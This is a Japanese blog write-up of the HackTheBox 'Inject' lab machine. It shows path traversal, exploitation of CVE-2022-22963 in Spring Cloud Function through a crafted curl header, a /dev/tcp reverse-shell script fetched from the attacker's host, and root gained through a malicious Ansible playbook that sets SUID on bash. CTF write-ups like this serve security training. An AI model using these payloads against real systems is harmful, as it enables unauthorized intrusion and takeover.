HackTheBox Inject WriteUp

今回は、HackTheBoxのEasyマシン「Inject」のWriteUpです！
名前からしてインジェクション系のマシンなのかなと思いますが、どうなのでしょうか。
![スクリーンショット 2023-07-10 2.05.00.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/68f68951-f5cb-7d42-02c9-9ee0a808e872.png)
グラフは若干Mediumよりでしょうか。。
Easyでも気を抜かずに攻略目指して頑張ります！

HackTheBoxってなに？という方はこちらの記事を見てみてください！一緒にハッキングしましょう〜。

https://qiita.com/WhizOwl/items/165783694cb4791cff34

また、HackTheBoxで学習する上で役にたつサイトやツールをまとめている記事もあるので、合わせてみてみてください！

https://qiita.com/Perplex/items/30f949fe261f56af7476


## Inject

### 侵入

では、攻略を開始します。
まずは、ポートスキャンから始めましょう。
```bash
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.204 -oN nmap.log

PORT     STATE SERVICE     REASON         VERSION
22/tcp   open  ssh         syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA)
|   256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA)
|_  256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519)
8080/tcp open  nagios-nsca syn-ack ttl 63 Nagios NSCA
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-title: Home
```
22番と8080番を確認しました。
では、8080番がオープンしていたので、Webにアクセスしていきます。
![スクリーンショット 2023-07-09 23.51.38.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/46c5e889-5e9c-077f-9519-f5168bc97c15.png)
どうやら、ファイルやフォルダをアップロードすることのできるサイトのようです。
ログインボタンがあるので、クリックしてみましたが遷移しません。
では、新規登録に移りましょう。Sing Upのボタンを押下します。
![スクリーンショット 2023-07-09 23.54.19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/23796a33-d8d3-de3f-bd4e-13f2442f6e22.png)
遷移しましたが、新規登録はできないようです。
他にできることを探しましょう。

よくよく見てみると、トップページのヘッダーの右側に青文字で「Upload」と書かれています。
クリックしてみましょう。
![スクリーンショット 2023-07-09 23.56.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/aea7baf6-82c4-410b-fd36-186c29640725.png)
よく見るアップロード画面が表示されています。
適当にアップロードしてみます。
![スクリーンショット 2023-07-09 23.58.37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/291a6224-4fba-2d93-ec7f-a34fe2aeae69.png)
テキストファイルをアップロードしようとすると、画像ファイルのみしかアップロードできないというメッセージが表示されました。
とりあえず画像ファイルをアップロードしてみます。
![スクリーンショット 2023-07-10 0.00.53.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/d66c7071-c8ba-5c9f-308e-dc70b33fb422.png)
PNGファイルをアップロードすることができました。
下の「View your images」でファイルを確認することができそうなので、クリックしてみます。
![スクリーンショット 2023-07-10 0.01.25.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/2fa59212-5ddb-ee62-931c-e90f4cf26070.png)
今回小さい画像をアップロードしたのでわかりにくいですが、ファイルへアクセスできたことがわかります。
よくよくURLをみてみると、```img```というパラメータでファイルを指定していることがわかります。

### パストラバーサル

ファイルを指定している系は、パストラバーサルの脆弱性がよくみられるので、```../```を追加して、passwdファイルを読み込むことができないか試してみます。
![スクリーンショット 2023-07-10 0.26.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/499f338e-19dc-7292-0bd5-1a9a21144622.png)
根気よく```../```を追加したところ、ファイルを読み込むことができました！
さらに、```frank```と```phil```というユーザを確認できました。

まずは、パストラバーサルを使用し、それぞれのホームディレクトリを列挙していきます。
philユーザのホームディレクトリにはフラグがあるだけで、他には特に情報がありませんでしたが、frankユーザのホームディレクトリを見てみると、```settings.xml```というファイルを発見しました。
内容を見てみます。
![スクリーンショット 2023-07-10 0.32.31.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/9fe7eda0-1733-5bca-5d6a-4aa76d99925b.png)
philユーザのパスワードを発見しました！
この認証情報を使用し、SSH接続できるか試してみます。
```bash
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ ssh phil@10.10.11.204                                                            

phil@10.10.11.204s password: 
Permission denied, please try again.
```
どうやら、SSH接続には使用できないようですが、どこかで使えるかもしれないのでメモしておきましょう。

### CVE-2022-22963

それでは、気を取り直して列挙を再開します。
次に確認するのは、Webで使用されているファイルを確認することです。
![スクリーンショット 2023-07-10 0.39.06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/a99576e3-bce0-f1d8-2ff9-75d5f6bad289.png)
var/www直下を見てみると、```html```と```WebApp```の存在を確認できました。
htmlには、ファイルが何もなさそうなので、WebAppを確認してみます。
![スクリーンショット 2023-07-10 0.41.30.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/cd843338-c3be-9caf-d9a4-732e7744db38.png)
色々なファイルを発見しました。一番気になるのは```pom.xml```ファイルなので、内容を見てみましょう。
![スクリーンショット 2023-07-10 0.44.23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/f06fb03c-3ee8-51a6-a276-2a197f2e7237.png)
Springなどのバージョン情報が確認できました！
バージョンが見えたら、脆弱性がないかを調べるというのは攻略する上で重要なことです。
上から順番にGoogleで調べていくと、```spring-cloud-function-web```のバージョン```3.2.2```で気になる脆弱性を発見しました。

https://spring.io/security/cve-2022-22963

記事によると、ルーティング機能を使用する際に、SpELをルーティング式として提供することにより、RCEが発火するようです。
GitHubにPoCが公開されています。

https://github.com/me2nuk/CVE-2022-22963

では、PoCを参考に、RCEが発火するか試してみましょう。PoCでは、tmpディレクトリに```pwned```というファイルを作成しています。

```bash
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v 
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
> 
< HTTP/1.1 500 
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 09 Jul 2023 15:51:54 GMT
< Connection: close
< 
* Closing connection 0
{"timestamp":"2023-07-09T15:51:54.787+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}  
```
実行すると、500番が返ってきますが、作成に成功しているか確認してみましょう。
![スクリーンショット 2023-07-10 0.54.19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/281ef909-f552-7d85-4338-9dfa15d0a6c2.png)
ファイルの作成を確認できました！
これでRCEが発火したことがわかるので、シェルを取得しにいきましょう！

まずは、シェルを張るために、マシン側で実行させたいスクリプトを用意します。
```bash
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ cat rce.sh                                                                                                                                                                         
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.5/5555 0>&1
```
スクリプトの準備ができたので、マシン側にダウンロードさせます。
ダウンロードさせるために、Kali側で待ち受けておきます。
```bash
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```
待ち受けが完了したので、RCEでcurlを実行し、作成したファイルをマシン側へダウンロードさせます。
```bash
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.5/rce.sh -o /tmp/rce")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl 10.10.14.5/rce.sh -o /tmp/rce")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
> 
< HTTP/1.1 500 
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 09 Jul 2023 15:59:34 GMT
< Connection: close
< 
* Closing connection 0
{"timestamp":"2023-07-09T15:59:34.632+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
```
先ほどと同じように、500番が返ってきますが、おそらく成功していると思います。
念の為、確認しておきましょう。
![スクリーンショット 2023-07-10 0.59.59.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664764/123526f3-d1ab-6fcf-4824-507df8060adc.png)
rceが正常にダウンロードできていることが確認できました！

## frankとしてのシェル

それでは、rceを実行し、シェルを取得しましょう！
Kaliでいつものように待ち受けておきます。
```bash
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
```
待ち受けが完了したので、bashでrceを実行します！
```bash
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ curl -X POST  http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/rce")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/rce")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
> 
< HTTP/1.1 500 
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 09 Jul 2023 16:04:52 GMT
< Connection: close
< 
* Closing connection 0
{"timestamp":"2023-07-09T16:04:52.227+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"} 
```
実行権限は特に付与していません。シェルを返ってきたか確認します。
```bash
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ nc -lvnp 5555
listening on [any] 5555 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.204] 45774
bash: cannot set terminal process group (822): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$ whoami
frank
```
侵入に成功しました！

### 横移動

frankユーザではフラグを取得できないので、横移動が必要です。
passwdファイルで確認しましたが、frankユーザの他に、philユーザが存在しています。
```bash
frank@inject:/home$ ls -l
total 8
drwxr-xr-x 5 frank frank 4096 Feb  1 18:38 frank
drwxr-xr-x 3 phil  phil  4096 Feb  1 18:38 phil
```
とりあえず、frankユーザのホーム直下を確認してみます。
```bash
frank@inject:~$ ls -la
ls -la
total 28
drwxr-xr-x 5 frank frank 4096 Feb  1 18:38 .
drwxr-xr-x 4 root  root  4096 Feb  1 18:38 ..
lrwxrwxrwx 1 root  root     9 Jan 24 13:57 .bash_history -> /dev/null
-rw-r--r-- 1 frank frank 3786 Apr 18  2022 .bashrc
drwx------ 2 frank frank 4096 Feb  1 18:38 .cache
drwxr-xr-x 3 frank frank 4096 Feb  1 18:38 .local
drwx------ 2 frank frank 4096 Feb  1 18:38 .m2
-rw-r--r-- 1 frank frank  807 Feb 25  2020 .profile
```
そういえば、```.m2```ディレクトリがありました！
その中の、settings.xmlを再度確認してみます。
```bash
frank@inject:~/.m2$ cat settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>
```
パスワードが書かれています。SSH接続には使用できませんでしたが、suコマンドで使用することができるかもしれません。試してみましょう。

## philとしてのシェル

それでは、suで横移動ができるか試してみましょう。
```bash
frank@inject:~/.m2$ su phil
Password: DocPhillovestoInject123
phil@inject:/home/frank/.m2$ whoami
phil
```
suで認証情報を使用することができました！
```bash
phil@inject:~$ ls -l
ls -l
total 4
-rw-r----- 1 root phil 33 Jul  9 14:45 user.txt
```
ユーザフラグも確認できました！

### 権限昇格

それでは、root目指して権限昇格を行なっていきましょう！
まずは、sudo -lを実行します。
```bash
phil@inject:~$ sudo -l
[sudo] password for phil: DocPhillovestoInject123

Sorry, user phil may not run sudo on localhost.
```
どうやら、philはsudoを実行することができないようです。

ホームディレクトリにも特に情報がなさそうなので、pspy64を実行し、定期的に実行しているスクリプトがないかを確認します。
```bash
phil@inject:~$ ./pspy64

2023/03/16 16:28:01 CMD: UID=0    PID=3424   | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml 
2023/03/16 16:28:01 CMD: UID=0    PID=3430   | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml 
```
ansible-parallelとansible-playbookがルート権限で定期的に実行されていることがわかります。また、その引数としてtasksディレクト内に存在するymlファイルが指定されています。
ansible-playbookとは、自動化タスクのブループリントであり、人手をほとんど、あるいはまったく介さずに複雑な IT 処理を実行するようです。

https://www.redhat.com/ja/topics/automation/what-is-an-ansible-playbook#%E6%A6%82%E8%A6%81

どうにかしてコマンドが実行できないか```ansible-playbook コマンド実行```でGoogle検索してみると、下記の記事を発見しました。

https://syutaku.blog/ansible-module-shell/

ymlファイルの中のshellモジュールにより、コマンドを実行させることができるようです。
今回のマシンでは、/opt/automation/tasks直下にあるymlファイルが対象となるようなので、tasksディレクトリに書き込み権限があれば、任意のコマンドを実行させることができます。
権限を確認しましょう。
```bash
phil@inject:/opt/automation$ ls -l 
total 4
drwxrwxr-x 2 root staff 4096 Jul  9 16:40 tasks
```
rootユーザとstaffグループに対して、書き込み権限があるようです。
philユーザのグループを確認してみましょう。
```bash
phil@inject:/opt/automation$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
```
staffグループに所属しています！
書き込み権限があることがわかったので、権限昇格に移りましょう！

## rootとしてのシェル

ではまずは、ymlファイルを用意します。
```bash
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ cat exploit.yml
- hosts: localhost
  tasks:
    - name: rce
      shell: chmod u+s /bin/bash
```
今回は、/bin/bashにSUIDを付与したいと思います。
ymlファイルが用意できたので、マシン側にダウンロードさせます。
まずは、Kali側でサーバを立てます。
```bash
┌──(kali㉿kali)-[~/Desktop/Inject]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```
サーバをたてることができたので、マシン側でwgetを実行し、ymlファイルをダウンロードさせます。
```bash
phil@inject:/opt/automation/tasks$ wget 10.10.14.5/exploit.yml
--2023-07-09 16:53:11--  http://10.10.14.5/exploit.yml
Connecting to 10.10.14.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 77 [application/octet-stream]
Saving to: ‘exploit.yml’

exploit.yml         100%[===================>]      77  --.-KB/s    in 0s      

2023-07-09 16:53:11 (4.28 MB/s) - ‘exploit.yml’ saved [77/77]
```
これで、準備完了です！
あとは少し待って、bashファイルにSUIDが付与されるか確認しましょう！
```bash
phil@inject:/opt/automation/tasks$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
```
SUIDが付与されました！rootユーザへ昇格しましょう！
```bash
phil@inject:/opt/automation/tasks$ bash -p
bash-5.0# whoami
root
```
権限昇格成功です！！！
```bash
bash-5.0# ls -l /root
total 8
-rw-r--r-- 1 root root 150 Oct 20  2022 playbook_1.yml
-rw-r----- 1 root root  33 Jul  9 14:45 root.txt
```
rootフラグも確認でき、完全攻略達成です！！！
お疲れ様でした！

### 攻略を終えて

今回のマシンは比較的簡単だったかなという印象です。まず、imgパラメータによるパストラバーサルがわかりやすいこともあり、少ない列挙で足場を確立できました。特にログイン画面や新規登録画面などのノイズになりそうな画面が遷移できなかったりしたので、マシンの作成者の優しさを感じました。
横移動もパスワードがそのまま書いてあったり、気になるディレクトリが一つしかなかったりと優しめでした。権限昇格に関しては若干Ansible-Playbookに関しての知識が必要で、全く知らない人にとっては少し難しいかもしれませんが、Googleで調べると割とすぐにヒットするので、いい難易度感なのではないでしょうか。
総じて、HTB初心者におすすめしたいマシンだなと感じました！
今後もHackTheBoxのWriteUpを公開していきますので、みていただけると嬉しいです！
最後まで閲覧していただき、ありがとうございました！